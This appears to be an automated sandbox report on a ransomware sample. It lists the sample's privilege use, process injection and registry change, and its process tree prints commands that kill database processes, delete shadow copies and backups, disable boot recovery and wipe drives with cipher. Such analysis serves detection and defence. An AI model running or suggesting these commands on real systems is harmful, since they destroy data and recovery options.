N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1752 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 3000 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1752 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2604 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2604 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2604 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2668 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2668 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1752 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 2652 wrote to memory of 2776 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2652 wrote to memory of 2776 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2652 wrote to memory of 2776 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2652 wrote to memory of 2776 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2776 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2776 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2776 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1752 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 2812 wrote to memory of 2232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2812 wrote to memory of 2232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2812 wrote to memory of 2232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2812 wrote to memory of 2232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2232 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2232 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2232 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1752 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 2460 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2504 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2504 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2504 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1752 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1752 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 2512 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2512 wrote to memory of 2088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2088 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2088 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2088 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1752 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe

"C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe"

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c rem Kill "SQL"

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlbrowser.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sql writer.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlserv.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im msmdsrv.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im MsDtsSrvr.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlceip.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im fdlauncher.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im Ssms.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE

C:\Windows\system32\taskkill.exe

taskkill -f -im SQLAGENT.EXE

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im fdhost.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im ReportingServicesService.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im msftesql.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im pg_ctl.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe

C:\Windows\system32\taskkill.exe

taskkill -f -impostgres.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper100

C:\Windows\system32\net.exe

net stop MSSQLServerADHelper100

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQLServerADHelper100

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS

C:\Windows\system32\net.exe

net stop MSSQL$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQL$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW

C:\Windows\system32\net.exe

net stop MSSQL$MSFW

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQL$MSFW

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS

C:\Windows\system32\net.exe

net stop SQLAgent$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLAgent$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW

C:\Windows\system32\net.exe

net stop SQLAgent$MSFW

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLAgent$MSFW

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLBrowser

C:\Windows\system32\net.exe

net stop SQLBrowser

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLBrowser

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS

C:\Windows\system32\net.exe

net stop REportServer$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop REportServer$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLWriter

C:\Windows\system32\net.exe

net stop SQLWriter

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLWriter

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet

C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe

\\?\C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe -network

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No

C:\Windows\system32\wbadmin.exe

wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoverynabled No

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\Wbem\WMIC.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\wbadmin.exe

wbadmin delete backup -keepVersion:0 -quiet

C:\Windows\system32\wbadmin.exe

wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c pause

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\SysWOW64\cipher.exe

cipher /w:\\?\A:

C:\Windows\SysWOW64\cipher.exe

cipher /w:\\?\C:

C:\Windows\SysWOW64\cipher.exe

cipher /w:\\?\F:

Network

N/A

Files

\Device\HarddiskVolume1\How_to_back_files.html

MD5 88038f0d46469a8cb5486aaeb10d6484
SHA1 5482e4273a0b51e1bf1b92ea62512f96b665f6a0
SHA256 66d47160bc5dfdea756dea92e004d15bb51a96d3244b6a00eb99aaea6722b939
SHA512 71c9b086796213eb3e9653d0ac082970a7dbadb9d79b3a9b30e363a558a8c523e6619222d7b6f5f099cd344cac7b800e953786f2d6e560ffbd55f4573696d5e4

C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl

MD5 fdf3264373810ddbfef524e9bb9042e9
SHA1 2568a6c8d78a0ba1e2ec189ae4f960c74e298572
SHA256 017408e76d261eed3fd22b5f47c979ad44d6faced3d0580834d772b1341ac70c
SHA512 b44472f675e150140b28a8e1650bf0c7a8dccea0c73d287fdfaf8258516861614634a89af1514a335abe9f39c00320fcf057dadb7b88b6ca3bbdddac10a1a4e8

C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif

MD5 661d8c769f01eae988a78bc509440f08
SHA1 070ffd082131264bb22032b13e4a6f31e9442aaa
SHA256 cb9ed4a2e35a4a471a998628b287dd48bd3219965480ceded9f6c645699915d6
SHA512 f81870fd0b1c357cd04858eb6298e2a70433390e4840ac289760e08702319d87af00665bb79e3af86a781d9bc05cd2f08b20a0f4271e9aa5147cb81523144108

C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UTC

MD5 f47960b543e1b86914ab492dc95d13bc
SHA1 32b02ac8bca44d6e8e8bd14cc4d08b08034ffbd4
SHA256 a4acc08263e4920de9421797e7d54456bf01778c1b1ce64e02ba80b4b80d4ec7
SHA512 57a9caecd22d78794b87e2b774b45eb6e848b86d8e66d7afe4e59cdc2414e26ec4ec0d3684c2166e3eaae6c7f11b37a5336a6881ea1efe6b9574c551d9473778

C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5

MD5 1a5807d29fc9cb33c3e2923c20e81d67
SHA1 fb1d23a53a5cf6a5ec30a7f326318001417752f9
SHA256 69cfb8b5f8b17c7428d5b022461c782d9a6eb5d7ed59a77151483267e55c29c4
SHA512 9673162a91e9ad7dece589b60d5947ec52289b0546fda87558740e7f480581c7cc077130a7f797197af8bf42b94dfb1fa76a0dc207ee023dc98e0e3e0d3523b2

C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\HST10

MD5 2d7b4fdb7f9a7f1214062844cb3b9260
SHA1 bb452af009ab7e021feb0591ad9219eef59b6681
SHA256 41bce3967aceaaaee1fe3d5f9056db746ccc68cf564378429e0770df2d278b81
